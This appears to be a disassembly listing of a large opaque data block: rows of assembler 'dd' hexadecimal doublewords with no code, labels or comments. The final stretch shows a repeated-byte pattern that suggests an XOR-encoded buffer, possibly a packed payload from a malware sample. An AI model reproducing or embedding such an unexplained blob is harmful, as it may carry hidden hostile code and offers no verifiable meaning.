		dd 13BB751Fh, 0DEC8C1F2h, 3A76184h, 0DE56DCDEh,	0BFF0463Ch
		dd 0A0D258EBh, 81B42A2Bh, 62960C0Bh, 4477EDECh,	0D90B989Fh
		dd 38127625h, 46433B92h, 3089B2F0h, 0F01DBAB7h,	0E8B35774h
		dd 0BCF7959h, 3AE1B69Ch, 4110B9BFh, 7720E8E0h, 844FCAEAh
		dd 0B4080BF4h, 0DA981411h, 0F6CC3622h, 17DC5057h, 1F906860h
		dd 4A108294h, 4C3B8EADh, 4133E8CFh, 9075EFFEh, 0A99F2A0Bh
		dd 0D6B9032Ah, 0E0D45940h, 1ADF1250h, 2F099297h, 4F31A684h
		dd 4F4CC6D3h, 9552D598h, 80670C1Bh, 0C78B3739h,	0E6AE6858h
		dd 75CC7F7Bh, 36EC8DBCh, 513E8595h, 7F2AA4B1h, 985EE1A5h
		dd 8B6BF0E6h, 0A89C0906h, 92A2242Fh, 0E3DA7919h, 0CFE7F7Ch
		dd 3D32ED99h, 4F0CBAA6h, 6D58CAC3h, 9F7FD793h, 0A9901B33h
		dd 0DFAA2017h, 0FAB5545Eh, 6FE36B7Dh, 17F79CBEh, 6001B6B2h
		dd 1520C1D4h, 0B152F9D8h, 8D6D12E8h, 0BA8F0D0Ah, 0D6B82703h
		dd 10DB404Ah, 31F94063h, 5210A982h, 665289ACh, 6C7EDDCEh
		dd 8078FFE9h, 0A2980D27h, 0A7992B3Ch, 0DBCE5576h, 0CE8616Bh
		dd 3914B79Eh, 422AB7B0h, 0F7ECCC5h, 0A554F3DEh,	9572151Eh
		dd 0FA813634h, 0D4A3515Fh, 2CD591Fh, 27E76554h,	511F80B1h
		dd 7E0BC282h, 8F48F5D1h, 0B160ECF4h, 0B4942069h, 0D2A12C1Ch
		dd 0C7DB4442h, 24974C74h, 2A2E9A88h, 4234BAA3h,	665CDEF8h
		dd 9F7AFCE1h, 8D931C1Ch, 0D9BA1256h, 0EAAF5E60h, 2BD06E77h
		dd 32E18890h, 4A17B4AFh, 7A2AFBBDh, 0B64BFCFDh,	0BA6613EDh
		dd 0DB842D63h, 0F9A40F20h, 5DD4457h, 3CDC0747h,	5A1BBE97h
		dd 673586BEh, 351C6C2h,	8B70FBC2h, 0A39B0429h, 0D7A92E1Dh
		dd 0C9DC5F58h, 0CED5C12h, 240CA49Dh, 5E2CB0B6h,	6032E6B7h
		dd 8252F2FAh, 0BA454B48h, 0B491282Fh, 0F6A84F6Eh, 45DA6C7Ah
		dd 2FEE4F32h, 5C3EE295h, 720BA7A2h, 0AE2EC1C9h,	0B656F2E2h
		dd 0B4B30D05h, 0C3BD383Eh, 0F1D3585Eh, 6CB0E4Dh, 2910A999h
		dd 4E3580AAh, 7B5EC5DFh, 9F79C193h, 0A9921D33h,	0C88D3F02h
		dd 0EBAE6B37h, 3AA46A7Dh, 21E49697h, 4403B58Dh,	7C01DBF2h
		dd 0A128FBF3h, 0AC7EF2E8h, 0D6AD0E02h, 9BAD2B28h, 8D95472h
		dd 31FB4E63h, 4B3DE982h, 543EAE88h, 7165DFD8h, 897FFAE4h
		dd 0B59D090Ah, 0C2B13F04h, 0FCF2325Fh, 8FB6651h, 22399087h
		dd 6360B3B9h, 6A33F4C3h, 0A147ECF8h, 0B6671509h, 0FAE62F2Eh
		dd 0F0BA7D4Ah, 26CF547Eh, 32EF6D72h, 41289092h,	583A8AC3h
		dd 894EC0D7h, 0BC74D4E2h, 0AE9C001Dh, 0ECA1054Ah, 0EBE15D4Ah
		dd 5D67869h, 311995BEh,	2735BEA6h, 7973C6FFh, 825BFDF6h
		dd 82FF1019h, 0C8911822h, 0E1B16959h, 1CD67E7Bh, 34ED93ADh
		dd 4729DDB5h, 7B2DCEF2h, 834AFACCh, 0D965EEE8h,	0C8BD172Dh
		dd 0F8AA312Bh, 0ED87151h, 31F27C72h, 50198FAAh,	6F55B2BBh
		dd 6643FDDFh, 9C44F4FFh, 0AB9C1B1Ch, 0C8BD3F19h, 0FCDC5E43h
		dd 69F17A7Bh, 39D782BDh, 7B04A3BCh, 7A36CADEh, 946EF5F8h
		dd 0AA771416h, 0D8930F5Dh, 0F6A0516Bh, 25CE4570h, 39E47174h
		dd 7801B086h, 4826B6ADh, 9359D4D1h, 8C4588E0h, 0A1803928h
		dd 0D1A33838h, 0EDD44D2Bh, 0CE9757Fh, 311E9A8Eh, 4933B1CFh
		dd 7D5ED6DFh, 9F7BF393h, 0B973191Dh, 0CF8C2135h, 0FDC45F55h
		dd 70D07F7Ch, 36E99889h, 5707ADDCh, 163DDAD5h, 9D5ECEE9h
		dd 0AE69ECF0h, 0C8810827h, 0F2B10E20h, 7DD74442h, 3BE0644Eh
		dd 3410859Ah, 6122A98Dh, 6159C3C3h, 827DFAEDh, 0B39B0423h
		dd 0C6955234h, 0E7CC5146h, 1AEF6276h, 4CC09991h, 4B16B69Fh
		dd 6426D7CAh, 9C41EAD5h, 956A0E29h, 0C186175Eh,	0F3A4325Ah
		dd 16C97054h, 34E74265h
		dd 7E2EE587h, 55008792h, 0BA1F9595h, 0B213C5C4h, 0ADB60C0Fh
		dd 0E9B23E24h, 0D1B95649h, 14D47668h, 23379C8Bh, 692596A9h
		dd 6D5BE6B2h, 9E7AE0C5h, 0A260210Fh, 0D7A63C2Dh, 0F5973B78h
		dd 5C24E7Dh, 26E49FADh,	74119AB8h, 12A343BFh, 917A698Ah
		dd 330D8383h, 0BFCB29E8h, 98BB472Ch, 14E07976h,	0F59800Dh
		dd 15263862h, 71068DA1h, 98AD51FEh, 6419BFA3h, 5D047DB5h
		dd 0A9ED7FF7h, 49B7F1B0h, 0C2249A43h, 7E82C8E0h, 2F098928h
		dd 84BBB4D3h, 0F315B7D2h, 5108BDF8h, 0B6E95FCFh, 0F79F2910h
		dd 0AC262321h, 95040568h, 3B18A689h, 7751D7C5h,	0FF58FAA5h
		dd 0E174DEE1h, 93F6066Bh, 36271E1Fh, 848A1CA0h,	0F0634B51h
		dd 474DD822h, 752A2B54h, 1EBF3838h, 0E1C396A5h,	0DF02EDFAh
		dd 61E75A69h, 43396F6Dh, 5ED59B90h, 0DB04FFCCh,	366AFBE6h
		dd 0E7B49528h, 6BA9295Dh, 510EB4A8h, 0BDEBE3E9h, 6191A047h
		dd 0FA3FD5D7h, 60A62088h, 59FB6267h, 16B0CECCh,	8DC65051h
		dd 0D8361515h, 0BD3CF772h, 3351D958h, 63C0362Fh, 935DE708h
		dd 8DDC3E7Dh, 3064328Dh, 9318BBBAh, 0C43C1A71h,	5BC14D7Eh
		dd 87CA80E5h, 0C9981341h, 28FF7473h, 769193FCh,	38F6E7D4h
		dd 0D3C737E2h, 5D339983h, 0B7148E48h, 0C3F66C84h, 4959134Dh
		dd 858A2A9Bh, 0F311ED65h, 484DE970h, 0A938682h,	0C15B590h
		dd 882C5215h, 0CAC4FDBFh, 91295A6Ah, 880EB9FCh,	738C1E2Ch
		dd 96D4FFD7h, 3600E1B5h, 6AB4F23Eh, 7E395DA7h, 0B5FEF045h
		dd 0BEF0666Ch, 9C8998C3h, 35391679h, 61A616EEh,	427B5760h
		dd 0AFD3CECDh, 739AEA7h, 22316892h, 3937F913h, 0AEAA35F2h
		dd 6735D472h, 62659BD4h, 1C5772A0h, 65341652h, 4114FBD1h
		dd 60D963F7h, 0D73852E2h, 33E6A4E2h, 0A9E04BD7h, 0F9790F23h
		dd 5C5701EEh, 3D99E78Fh, 0DC519F4Eh, 2DC43CC0h,	67118ABBh
		dd 4C56465h, 2CC2FE0Ch,	0B696C7BAh, 0EA7EE510h,	0B7D792B3h
		dd 0E8BFA11Ah, 0D3F5DE0h, 6E7D9697h, 0E1190E94h, 4979D15Bh
		dd 10C60C10h, 74A03A61h, 56307BF1h, 0D4EBE0E0h,	1A4BC3CAh
		dd 0FD28CAF0h, 4BF18486h, 0BFC04A41h, 245FB4C2h, 81B52E0Eh
		dd 62FC5C0Bh, 4477E904h, 720A98CEh, 9DC6F8B0h, 0EA2ABCB7h
		dd 5C71BB47h, 0ACDE5551h, 8FAA6767h, 6A37246h, 1083F9F8h
		dd 0C3F12588h, 82458B97h, 0AD526A1Bh, 0DC602AD0h, 0EEEA6063h
		dd 0BAE8F6BCh, 84AE2426h, 6CBCDF90h, 0FEF4BEE6h, 34B1DEBCh
		dd 68E722FAh, 0B345D88Ch, 0B0639338h, 0FFD87E63h, 57CFF0B5h
		dd 0A509ED47h, 0C77DC3D9h, 7B0C9083h, 8367F1DCh, 0F021920Fh
		dd 1231D37Ah, 40BD4A36h, 0C4966C96h, 25F84E4Eh,	0AE1C00ADh
		dd 0B86AD0CAh, 1B49C907h, 0D9585DA5h, 169B7B8Fh, 93F05645h
		dd 8D1BDDB5h, 40E92A1Bh, 5D160C08h, 37698E7h, 32244344h
		dd 10DAAF81h, 0FB1A051Eh, 1DFF7245h, 290CAB00h,	714839F7h
		dd 60A21818h, 5183097Dh, 95A5ADBh, 9503ABC8h, 73299CA1h
		dd 0D9087E60h, 0CFCA5EE3h, 0A54D04B5h, 3BE06D75h, 921B2473h
		dd 7070A121h, 4B0306E2h, 5065F8ABh, 0C9D51F72h,	0FDAF6C5Fh
		dd 185D4191h, 61BA3031h, 699C12A3h, 192DCD72h, 0A851829Ch
		dd 0F3FB512h, 5D28501Ah, 570D7547h, 0B4E45AC4h,	66B31C02h
		dd 799222B3h, 578A8C85h, 19664CE1h, 266CE2E3h, 8948C484h
		dd 0E3A3FAF2h, 418D1249h, 0C9F3B634h, 0F3C05F5Fh, 1394738Dh
		dd 3057C1D7h, 0D81E09A7h, 0B30BBFB1h, 0EB1BB683h, 33AF9182h
		dd 9DF33CC3h, 0DE010437h, 87F34948h, 5184FAF0h,	5D12B49Fh
		dd 7127D3D1h, 26B2629Fh, 5C094FADh, 89DD15A3h, 6048CA8Dh
		dd 2DAF1509h, 5D92076Eh, 6923B963h, 0F4C63699h,	8E349A87h
		dd 0D50EFB18h, 0FC43D6Fh, 0F5891E04h, 1D446060h, 69AD3F13h
		dd 0B45AF074h, 1D741840h, 8F834EB7h, 0C134F814h, 10FA787Bh
		dd 0B0C107D6h, 95C73DD6h, 9B28421Fh, 57BB1C7Dh,	92F5F6Ah
		dd 0AEC6C3F3h, 0FD1E94EEh, 529B7D84h, 0C0C2582Eh, 245FEFB9h
		dd 82861C68h, 53A79B87h, 0C07AEFDDh, 276AE0F8h,	8153B338h
		dd 141C9280h, 0FCD21DE0h, 0F129BD56h, 0E7B45D73h, 3FF87F7Bh
		dd 38F68291h, 7E0ABDB8h, 6728D0D8h, 251B9EE6h, 2F584F0Ah
		dd 5B6F30BAh, 988E2E47h, 16E271DCh, 0E627851Eh,	8673D9FAh
		dd 2154CADEh, 0FD78AF26h, 83E97372h, 8BFCE3C4h,	0A7DA5050h
		dd 0CF319957h, 8DACBF16h, 0A9D4935Fh, 1EF55B2Eh, 5B418787h
		dd 0E709EF3h, 0E328E3EEh, 9092D75Dh, 8D0CBD36h,	0F3A5E09Ah
		dd 578C03A5h, 1905E38Bh, 4D4EC4C2h, 68D0AECFh, 0DF21AB26h
		dd 4BFF37E2h, 3C5C5B04h, 82871D1Ch, 53A28285h, 0A6FBF0DDh
		dd 28A421CFh, 956E1E0h,	5EE295F9h, 0CCCF4546h, 81A4C2A9h
		dd 71933907h, 5F9528ADh, 9C1303F9h, 6B67EDF0h, 1ADB7E38h
		dd 0F728CB1Bh, 0E28AE781h, 0B699392Eh, 0F65ABA17h, 95B11709h
		dd 5D930847h, 3FBC546Ah, 965ACBC9h, 77BBB2E5h, 0E17F92BCh
		dd 91F96F6Eh, 8BFAC4AFh, 0DFEB3301h, 427680EDh,	80BF6C3h
		dd 0A6A2D4E9h, 0DC41C0E7h, 7A03EB12h, 0E7886331h, 0B74A0C6Eh
		dd 94B1BEFDh, 4CE727Ah,	0A56F0674h, 10C30FB8h, 69C4E1CFh
		dd 0E33FF81h, 0D00EDA0Ch, 0C3BA6EDEh, 23E2C799h, 0CC33DD28h
		dd 5C2F9904h, 0CE7BC1DDh, 10E9E9F9h, 7B3D8381h,	0DCABBF10h
		dd 0F6004645h, 9ED263E2h, 0FE473538h, 4359E3E6h, 1132743Ah
		dd 0BD68EEECh, 2679F833h, 927AF0A0h, 0DB66D281h, 0BBEE640Ch
		dd 192F11C5h, 7D823D5Eh, 75659FF8h, 0CD8AEBD8h,	2266D9B2h
		dd 0BC8552Fh, 19E7B50Ah, 0F47FF98Fh, 0C2DC6261h, 0DFBE5E32h
		dd 0B35E943h, 0C781C7D8h, 1E529F53h, 12A378B8h,	0F24ECACAh
		dd 0F83BE983h, 30615E6Eh, 96FA7074h, 77C6F6ABh,	8BCFB53h
		dd 0A5C501Dh, 89AFC6F4h, 0FE018BFFh, 0D0200C03h, 0C57C6B5Ah
		dd 6F42B26Fh, 8B91F07h,	0D1102D5Eh, 464CC2A5h, 1C47875Bh
		dd 9F154A39h, 0EC2FA5A3h, 0FE46FAFDh, 844E5968h, 6A2790FBh
		dd 6CD39897h, 2D9FECBh,	64388F8Eh, 3B4B5540h, 67BA191h
		dd 0EB264E16h, 0CFCAA665h, 0F8EB6D7Ch, 12D14849h, 1FAF6F6Dh
		dd 2D13849Ah, 0D65FEA7h, 2954C2C9h, 0B419BEA2h,	8DAF2228h
		dd 0DC9E0F1Fh, 0E4DA4741h, 5CE5460h, 21ED8A81h,	7317BC84h
		dd 6736DFEAh, 8040F8F2h, 0B46F2E21h, 0F78D3A2Dh, 0E4AE2223h
		dd 19FD7F52h, 3CE26470h, 48028397h, 6F388199h, 9353DFC2h
		dd 8D7BDAE5h, 9E8F0F02h, 0CDB93A1Fh, 0E0C85149h, 3F3605Eh
		dd 1B189F86h, 412AA190h, 7156C7DCh, 9D61F2F0h, 0AC6B1407h
		dd 0DF8D2E38h, 0DD9A4F54h, 72DC6D72h, 0CFB0AFh,	7338A189h
		dd 7B228C9Ch, 955FCDD0h, 8B52F0E2h, 0D294080Fh,	0DD8E3B30h
		dd 1AC6585Dh, 5C07867h,	2D1E9E98h, 5C1D92A2h, 7456C3DEh
		dd 0BC1AE2F5h, 0AC9B0013h, 0D9B11C27h, 8BC23640h, 1EF74815h
		dd 3CF32979h, 5D0DA2B7h, 7931D594h, 844AF2EEh, 0B861501Fh
		dd 0F9EA0F06h, 0B8870108h, 12D44A45h, 3EF36976h, 7922B2EEh
		dd 543EE894h, 207DE0E7h, 907DFCACh, 0C9C51918h,	0A4D8A618h
		dd 4E7302Eh, 56BCF4E2h,	27F835F0h, 2A5EE4C7h, 2012204Bh
		dd 6E196A6h, 0BA530C67h, 5051D144h, 0CBC60C10h,	68622B0h
		dd 6B0899D7h, 141FFD20h, 35BA7C4Ch, 8DA7A293h, 0BBABD387h
		dd 0B075EBC2h, 10D27863h, 0B09F1EACh, 271FF60Ah, 0BD396111h
		dd 0C7597F36h, 0F88C2260h, 811AA0BDh, 0CAFC7377h, 924BAB02h
		dd 65C00619h, 6DA2189Fh
		dd 5A2A7C7Ah, 5B34DAE9h, 0EC4BD1BBh, 0C50AD508h, 0F374FD7Fh
		dd 0C99F6469h, 99CC4AAAh, 39E87723h, 17DC422Ah,	20E418E5h
		dd 1452F8EBh, 6B27DD69h, 8BFCDA89h, 3B099394h, 95F397DBh
		dd 0F27AB52Fh, 8F4CED12h, 497DF3FAh, 741D9280h,	4911E6FAh
		dd 1020DADBh, 0E12E65ECh, 4BA5B25Bh, 264BC3C3h,	749832E2h
		dd 5688FB96h, 0AD95B6E0h, 1A7BEDE3h, 0FC2CAF4Ch, 8C4AD886h
		dd 0EDB53021h, 0F497141Ah, 7EE22A69h, 52BDE59Eh, 447005ECh
		dd 6E04CECEh, 5B6DFCFFh, 7FE5C692h, 0CBCC599Dh,	0FD8F9D66h
		dd 0E791355Ch, 6EA27016h, 0AFD5B9F8h, 24F2B4Fh,	0EBBD38BCh
		dd 7B76BFEAh, 0E8248115h, 2267ED62h, 0F0CC7264h, 61C67624h
		dd 0D900605h, 4BE418B6h, 0DF52F8E4h, 3218643Fh,	0E41F628Ch
		dd 96A36C6Eh, 94EB1C0Ah, 0CBF6741Eh, 2909ED11h,	0A27DC3DEh
		dd 2C5ED4DEh, 7C4FC6C1h, 9654F8F1h, 2D52783Bh, 83CF83C9h
		dd 7143B53Dh, 7AA82E35h, 50472CEh, 0B06AD0F8h, 2B673646h
		dd 68D3F3A5h, 0DF3EA8C6h, 0C0F40EFAh, 145F484Ah, 82843374h
		dd 0BE2B8155h, 0AD77DDC1h, 0D8A73C33h, 0ADBC68D7h, 0EB1AA0B3h
		dd 6A59F125h, 0ADDE6476h, 0AEA4A3BAh, 3BF21828h, 51E9F893h
		dd 3366B289h, 80BA3BBDh, 0F716B07Eh, 0AC52BE04h, 2D67ED41h
		dd 0C9CC7264h, 0C923224Fh, 5DA026A2h, 6F21B1B3h, 0B4AD9A98h
		dd 303854Eh, 388175D5h,	0F65C43h, 97F6B0D5h, 0E6523031h
		dd 9663EDE0h, 7B6F8E7Eh, 61DB13D5h, 593F85A2h, 1913C9CDh
		dd 2CFD8A22h, 0A1A8DF9Ah, 0C1903C0Eh, 3C402A40h, 9075FFF2h
		dd 97EAD64h, 443494C3h,	0F164B91h, 5AC87A78h, 0C0C17225h
		dd 0F5A52C1Ch, 738E218h, 63A73D43h, 1429BFBCh, 76089E9Fh
		dd 250F254Eh, 7EE491A3h, 0CCCD5F58h, 0D8C0BD97h, 8ECDDF43h
		dd 27F01918h, 1C5ADB5h,	7F21F592h, 80B9BCF1h, 0F717B1DEh
		dd 0D9097369h, 0E9A33263h, 0FA9B3721h, 3DCA5049h, 0C86E5706h
		dd 3F42C33Eh, 0DEE6445Ah, 6B349A87h, 0E5158B45h, 39F70739h
		dd 97F556C5h, 5A2EBC31h, 0E49D230Dh, 7B53334Eh,	7A0D83D5h
		dd 24A52348h, 35A297A9h, 3C96F477h, 0E4E56B42h,	0C3C65769h
		dd 76AB774Dh, 84748100h, 0C696FF09h, 29F0403Ch,	0FD2E94B0h
		dd 57788DF3h, 3FF2687Ah, 91F823DFh, 82BAC42Bh, 30CF0E0Ch
		dd 7632ACA2h, 6B1EFEFDh, 9CC4B1FDh, 0EB2CBED2h,	0CCF91CE6h
		dd 186D5656h, 8EF22081h, 0C2199741h, 0B985CBD5h, 0CC992D57h
		dd 1547B155h, 0B961C99Fh, 8D4FCEC8h, 0F6A0264Dh, 0DA5BBB44h
		dd 0F9B01609h, 681607C6h, 0AC73E9E5h, 2154CFA1h, 0F78026ABh
		dd 0BC16BC95h, 0EA31D3E2h, 0F2325060h, 0B43CDC0h, 59B2D9AFh
		dd 0CF70F5F3h, 2D60D4C5h, 0ED15B36h, 99769899h,	0D3047B7Ah
		dd 984BC9A2h, 51493E0Eh, 76AA218Fh, 3D588950h, 0AC92B1E1h
		dd 1B7EE80Eh, 88766520h, 0CC99EF8Ah, 550C6969h,	0A1E56723h
		dd 3F34CFC0h, 63A92FAAh, 0C85385EDh, 177B7B4Ah,	9CC3E2B1h
		dd 0EB2DBF2Ah, 48F0B5F0h, 0ADE156DFh, 5CF79BCh,	0E095E418h
		dd 61A65A7Ch, 0CDE21BDBh, 14488E93h, 0F6439FF5h, 4CF483EBh
		dd 0BADD4FA6h, 9430BDC7h, 7CB047A1h, 0C81E9A06h, 3F44CA45h
		dd 7207DBA3h, 2F833954h, 25928DBDh, 0C7B9EA60h,	1A565150h
		dd 888D13F5h, 18771DA3h, 237F0905h, 2D61D741h, 86A493E9h
		dd 0E77BDADh, 0E3294AEEh, 665AD05Dh, 24C90F1Eh,	80F9C91Eh
		dd 0C200FCFFh, 395EC45Eh, 0F27C5A9h, 0AF30A6A5h, 1E8777D4h
		dd 4DF45A45h, 2CC2680Eh, 0B28861BEh, 0D595400Ch, 613F7AE7h
		dd 2FBC13DBh, 1B3CF9B3h, 0A10C96D9h, 0E9447D76h, 0A103D85Fh
		dd 0DECCDAF9h, 60825812h, 0DFD7CF05h, 4442161h,	165557BEh
		dd 0D60FA0A0h, 0F42CFAB4h, 81CE4A44h, 0B2F56360h, 597501Eh
		dd 54E72F27h, 0E3CA4A2h, 0DD01CCEAh, 341C4839h,	4ADC0F8Eh
		dd 0ADFA7070h, 0FB8B0251h, 0A57FA1CDh, 0E72B1623h, 4CB1E2C6h
		dd 3581D8BCh, 414E70D3h, 0F2249F72h, 0B0235A7Ch, 4ABF5E54h
		dd 0A6E1A5AAh, 7B68A120h, 3085EF51h, 3A6FE5EAh,	3C887B49h
		dd 0AD66A796h, 0CCD21C77h, 1706B5Ah, 175A1935h,	838903D3h
		dd 71A9B48Eh, 0CB7CF2DEh, 18732D5Dh, 60F09FB2h,	0BF49C494h
		dd 0E2BCE289h, 57605968h, 1EA4539h, 0C42AE391h,	53B8D204h
		dd 9B9BD26Dh, 0FF2AD0CAh, 6D457FBh, 381AF1E2h, 0BD98E86Ch
		dd 525AADADh, 0C33EE70Ch, 5FA527F7h, 0B6F1481Ah, 0DC047420h
		dd 35141F38h, 88A40F8Fh, 0C9FB4164h, 99B57926h,	75BF3546h
		dd 5B8D7E81h, 0B33F78F5h, 2F63E9F9h, 9483ABCDh,	0F315BB3Dh
		dd 0D5077D7Dh, 9817DA99h, 7ECB4170h, 8752DD29h,	598BC75Fh
		dd 158F536Eh, 0E207C7F5h, 0CF1EA532h, 1EEC0989h, 0C24DE864h
		dd 26514E4Ch, 848A002Eh, 9ACA1264h, 7751AE7Ah, 269E51D1h
		dd 0B3F1137h, 0BDE0BD95h, 9F011227h, 0B08C5B33h, 0C7063C3Ah
		dd 59598BE4h, 0AC0AFFCCh, 4EEEF21h, 914BC1C4h, 0CA1CA527h
		dd 0D7830984h, 30F05656h, 0AEE25BD2h, 15E67B28h, 0F5695C09h
		dd 4247C1FFh, 2BA7364Fh, 63DAF2Ah, 171AFA90h, 0F9CC75C7h
		dd 0BB4BAB53h, 8C00618h, 0E8ADE7EDh, 4E83FA1Fh,	7F5F51h
		dd 0DB76BB8Ah, 0A4775F9Fh, 870C142Fh, 87EDD59Fh, 0D334271h
		dd 799E0FD7h, 0DE9FC686h, 3C71E421h, 9BDB01F5h,	399B7h
		dd 8A45DBDBh, 0C3F96C73h, 0E14DB11Dh, 0BA0002h,	18181DCFh
		dd 0C17DF3F3h, 1A6EF757h, 47B476B4h, 8E732EAEh,	2317878h
		dd 40139B59h, 174FDDCCh, 73982E33h, 0EDB5B476h,	376AFB13h
		dd 0D84813F2h, 1ADB5354h, 0ED29010Ch, 0B1336657h, 66D403FFh
		dd 0D3391CCAh, 22210312h, 0AA7EEFFh, 26700FA6h,	58032E7Fh
		dd 1074F9E6h, 49B56C07h, 0D9DF582Eh, 0B08BBDEAh, 6EB65A9Dh
		dd 0B0EE9B5h, 0E8932591h, 967E7A98h, 0F516AC86h, 938327BCh
		dd 30636C45h, 99CC42FAh, 4B6DE410h, 6BBE3136h, 0C5FD7CBh
		dd 542686E7h, 715FC7DBh, 8D7DA4EAh, 0CEFB030Bh,	0C3B1726Dh
		dd 0E3D7515Dh, 4EE6130h, 3D15D1CCh, 464A4A7h, 464BFB9Ah
		dd 9F4CF8E5h, 0BF6B5618h, 0C0CB353Dh, 0FAF9135Fh, 548A2F20h
		dd 22ED9689h, 185BDD88h, 7D22A4AAh, 0CD11D6CCh,	0A77AF7A6h
		dd 9DCD0304h, 0C4A0272Bh, 0B18E584Fh, 4DAA3229h, 25058B85h
		dd 2B66ABA3h, 83C724BAh, 0DA2A8B1Fh, 48B2C274h,	22C50BCh
		dd 0B2413F43h, 0D05363h, 0DB400D8Dh, 29E95124h,	0A4458B8Ch
		dd 0F3CF1FA2h, 367DD072h, 0CCC55FE2h, 9B8BC9B4h, 0A471FB01h
		dd 13D23BDAh, 0D604BEA2h, 0C8ACE387h, 233AB86h,	0E414D2E4h
		dd 341E376Eh, 0D227B1B2h, 9C37BB10h, 0E59C2221h, 8556F2C6h
		dd 1F62599Ah, 899B464Bh, 0F15E1B41h, 0F5B7CDF7h, 40185A6Ch
		dd 5B4DFF99h, 0C82515F5h, 57B9D100h, 0AB56B1Dh,	7A776D0Ah
		dd 8710A4D7h, 0FF2286F0h, 0B4AC5AC3h, 0D5FC74A6h, 0F7B416F6h
		dd 0E8ABEFE4h, 16F22BECh, 2758FEFFh, 4C61EA8Ch,	0D628E493h
		dd 0CCAE3126h, 52FB7F22h, 0B3C0C9C8h, 6FEF4C50h, 1BEEB8Dh
		dd 47648A93h, 460486B6h, 72299CCFh, 26F780C0h, 8AB9E59Dh
		dd 0A8274274h, 8350BBCCh, 60938DF9h, 7C3FAEB0h,	0DF754CC6h
		dd 540E5654h, 0EA5ADFCEh, 390870EBh, 0E48F73AFh, 0CB50202h
		dd 9663EC03h, 1F2EA3CEh, 2BDADB9Ah, 3CC04A49h, 0C0E7E42h
		dd 570D8784h, 4B1BA7A4h, 832EEE0Dh, 9EA81E1Fh, 0A875FE59h
		dd 396BE109h, 0F6CD9FC3h, 0FD1D8A9Ch, 0DF0EB76Eh, 0F20E0369h
		dd 91F0FCC1h, 0BD12B1Bh
		dd 302A8D2Eh, 4478DEDDh, 89B1C5BAh, 0E0C54F4Fh,	0EB1B9080h
		dd 81C3F213h, 0A55A5A0Ch, 5C13736h, 0B1A02546h,	1BF7B9Fh
		dd 0CBE0D49Eh, 0E246BCBDh, 0D7278BDCh, 5C067F81h, 0BAEB6188h
		dd 999100B2h, 7C4EA12Ah, 23100706h, 1F52C8C7h, 0F5D7C6E9h
		dd 0EB34AAABh, 1AEA762Ah, 0C63EEF60h, 0E5524F50h, 98F1BA39h
		dd 6DEED239h, 4E9534C0h, 67D61DD6h, 24C53FA7h, 1921A7A9h
		dd 2CFC842Dh, 0B4E5F4B5h, 0B25AB63Eh, 75A92F2Fh, 67BB2A9Dh
		dd 0C5020AE1h, 9F423C3Ch, 0FD2EA42Ah, 0EF33330Ch, 9E796859h
		dd 490A4976h, 7D49D17Ch, 2919737Eh, 45798FC9h, 71A45B2Fh
		dd 842FCBB2h, 0DB0C9226h, 0DC847775h, 0ADE6A5EFh, 2B316F37h
		dd 6D471BA9h, 0FDA5F0Ah, 0A157D389h, 15C53A30h,	7E4E9E9Fh
		dd 26F51B11h, 5F3C8A9Ch, 1094BBBBh, 36B32A6Fh, 5BD38516h
		dd 0B65BAACCh, 2154954Eh, 23736CABh, 0C536ACADh, 4DD025E6h
		dd 2251401Ah, 888C0216h, 1A965E2Bh, 43357CF0h, 0AE7094D4h
		dd 8441EFD4h, 0C112B71Ch, 0DB467B7Bh, 87B61F5Ch, 0B7435AECh
		dd 2EA8AF7Bh, 678BBF83h, 366DE3D1h, 0E4B25047h,	0DE9A5A5Ah
		dd 2011B7B7h, 0F0DF04FCh, 0BE60B44Ah, 7DB71D1Bh, 53B2C299h
		dd 4EF77DEDh, 0AA5BE1FFh, 390CA124h, 814FC293h,	0CB4A8A75h
		dd 52E16766h, 0BEEF5CA2h, 6810E418h, 0AE86CCC9h, 34C104Eh
		dd 0EAFD33BDh, 829AFB1h, 0E93B8234h, 2F123563h,	9BFF6919h
		dd 4CB682A6h, 9E930936h, 3F74EA0Fh, 203F96C9h, 29DB412Ah
		dd 154F8DBDh, 0BE7CAE60h, 22DB6145h, 403EF0F1h,	0A890E5EDh
		dd 7B958E76h, 3D5C14D5h, 7A4292B7h, 8DA2FF85h, 0A269775Fh
		dd 5C874E28h, 6A36C0FAh, 2D43246Ah, 0BF72FCFDh,	0C6911B33h
		dd 36B0EBA2h, 0EF04F0DDh, 0DF12A83Fh, 651C0A69h, 0D429B3B5h
		dd 0A6FCA512h, 9C2F9D3Ch, 0CE7BC1C3h, 0A63ADA9Fh, 7A3FB58Bh
		dd 0EB76C2B6h, 46008975h, 0FCE23293h, 2651C568h, 0F3A62C35h
		dd 6C06F53Eh, 6857E180h, 0D0CABCCBh, 52248A4h, 0A5E47D7Dh
		dd 0DA119B9Bh, 9CB4FE86h, 0CC592826h, 5E9423BFh, 406503E8h
		dd 294CCCAh, 40715ACh, 0E5F08E8Eh, 5FA7070h, 0FC515275h
		dd 0A7733816h, 16A0EE90h, 4C6997EDh, 0A562D8D6h, 4D739DECh
		dd 1FA58011h, 0D43657CBh, 4A0659B6h, 920821C0h,	150Dh dup(0)
		dd 0B4B49C44h, 0B83FB4B4h, 0DF34ABD8h, 0B4B4B4D8h, 3D34B4B4h
		dd 0B4DD604Ch, 0D8103FB4h, 0B0E128B8h, 64643D0Dh, 3DB4B4DDh
		dd 0B4DD686Ch, 0E36C34B4h, 9CB4B4D8h, 4CB7C129h, 0B4B4D8E4h
		dd 0B3B60F3Fh, 3FBC9FE7h, 0B4D8E54Ch, 0FE7B3B4h, 20354909h
		dd 24BAB8D8h, 9735B4B4h, 0B3B3A4B4h, 0C4BAA135h, 303FB4F4h
		dd 6941B8D8h, 0B4F4E8F0h, 0B4B41D6Dh, 3558A7B4h, 1C08022Fh
		dd 0C129271Dh, 41F0F73Fh, 351ACCB8h, 28F904ECh,	0B49F35BCh
		dd 29B4B4B5h, 2C043F96h, 263F87B7h, 0CCFE3FD4h,	6105A7B7h
		dd 2C3577B7h, 19FBB4B3h, 35CF2928h, 2604B72Ch, 0C6291723h
		dd 0F5BB2C35h, 29261818h, 0BF2C35BDh, 0B4272719h, 8B96B928h
		dd 0DD77110Dh, 263FD8C0h, 0A7B70DD8h, 2B86BC3h,	0B7D02E3Fh
		dd 3BE83FAFh, 0C09CA7B7h, 0F7B4B4B4h, 19272320h, 182215FCh
		dd 7B41920h, 393D8AB3h,	0B4F4E9F0h, 0B4B4C19Ch,	1926F7B4h
		dd 0F9192815h, 2822192Ah, 0B307B4F5h, 0F4393D8Ah, 9CB4F4E9h
		dd 0B4B4B4C1h, 2819FBh,	0F9282715h, 26232626h, 8AB307B4h
